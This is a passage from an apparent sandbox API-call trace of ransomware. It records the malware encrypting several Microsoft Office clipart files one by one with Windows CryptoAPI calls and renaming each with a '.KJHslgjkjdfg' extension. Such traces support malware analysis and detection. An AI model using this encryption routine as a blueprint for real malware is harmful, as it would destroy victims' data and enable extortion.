lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.053] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4f70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4f70, lpOverlapped=0x0) returned 1 [0215.053] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.053] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.053] SetEndOfFile (hFile=0x130) returned 1 [0215.056] GetProcessHeap () returned 0x2ef0000 [0215.056] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.057] GetProcessHeap () returned 0x2ef0000 [0215.057] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.057] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf.kjhslgjkjdfg")) returned 1 [0215.058] CloseHandle (hObject=0x130) returned 1 [0215.059] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x735300, ftCreationTime.dwHighDateTime=0x1bd4b1b, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x735300, ftLastWriteTime.dwHighDateTime=0x1bd4b1b, nFileSizeHigh=0x0, nFileSizeLow=0xc10, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00487_.WMF", cAlternateFileName="")) returned 1 [0215.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.068] GetProcessHeap () returned 0x2ef0000 [0215.068] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.068] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.068] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.068] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.068] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.068] GetProcessHeap () returned 0x2ef0000 [0215.068] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.068] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.068] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.068] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.073] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.073] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.073] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.073] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.073] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.073] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.073] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc10, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xc10, lpOverlapped=0x0) returned 1 [0215.074] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc10, dwBufLen=0xc10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc10) returned 1 [0215.074] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.074] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xc10, lpOverlapped=0x0) returned 1 [0215.074] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.074] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.074] SetEndOfFile (hFile=0x130) returned 1 [0215.077] GetProcessHeap () returned 0x2ef0000 [0215.077] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.077] GetProcessHeap () returned 0x2ef0000 [0215.077] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.077] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf.kjhslgjkjdfg")) returned 1 [0215.079] CloseHandle (hObject=0x130) returned 1 [0215.079] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x955a5a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x955a5a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x938, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00494_.WMF", cAlternateFileName="")) returned 1 [0215.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.080] GetProcessHeap () returned 0x2ef0000 [0215.080] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.080] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.081] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.081] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.084] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.084] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.085] GetProcessHeap () returned 0x2ef0000 [0215.085] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.085] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.085] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.085] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.085] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.085] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.085] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.086] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.086] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.086] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.086] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.086] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.086] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x938, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x938, lpOverlapped=0x0) returned 1 [0215.086] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x940, dwBufLen=0x940 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x940) returned 1 [0215.086] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.086] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x940, lpOverlapped=0x0) returned 1 [0215.086] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.086] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.086] SetEndOfFile (hFile=0x130) returned 1 [0215.089] GetProcessHeap () returned 0x2ef0000 [0215.089] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.089] GetProcessHeap () returned 0x2ef0000 [0215.090] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.090] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf.kjhslgjkjdfg")) returned 1 [0215.091] CloseHandle (hObject=0x130) returned 1 [0215.092] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf33f00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bf33f00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xb60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00512_.WMF", cAlternateFileName="")) returned 1 [0215.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.093] GetProcessHeap () returned 0x2ef0000 [0215.093] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.093] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.093] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.093] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.093] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.093] GetProcessHeap () returned 0x2ef0000 [0215.093] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.093] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.093] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.093] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.118] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.118] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.118] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.118] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.118] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.118] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.119] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.119] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.119] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb60, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb60, lpOverlapped=0x0) returned 1 [0215.119] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb60, dwBufLen=0xb60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb60) returned 1 [0215.119] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.119] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb60, lpOverlapped=0x0) returned 1 [0215.119] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.119] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.119] SetEndOfFile (hFile=0x130) returned 1 [0215.122] GetProcessHeap () returned 0x2ef0000 [0215.122] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.122] GetProcessHeap () returned 0x2ef0000 [0215.122] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.122] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf.kjhslgjkjdfg")) returned 1 [0215.124] CloseHandle (hObject=0x130) returned 1 [0215.124] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9b2c00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc9b2c00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x6efa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00523_.WMF", cAlternateFileName="")) returned 1 [0215.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.125] GetProcessHeap () returned 0x2ef0000 [0215.125] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.125] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.125] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.125] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0215.130] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.130] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.130] GetProcessHeap () returned 0x2ef0000 [0215.130] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.130] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.130] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.130] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.130] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.130] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.130] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.130] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.131] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.131] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.131] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.131] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.131] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6efa, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6efa, lpOverlapped=0x0) returned 1 [0215.132] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6f00, dwBufLen=0x6f00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6f00) returned 1 [0215.133] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.133] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6f00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6f00, lpOverlapped=0x0) returned 1 [0215.133] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.133] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6fd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.133] SetEndOfFile (hFile=0x130) returned 1 [0215.136] GetProcessHeap () returned 0x2ef0000 [0215.136] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.136] GetProcessHeap () returned 0x2ef0000 [0215.136] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.136] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf.kjhslgjkjdfg")) returned 1 [0215.145] CloseHandle (hObject=0x130) returned 1 [0215.145] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, 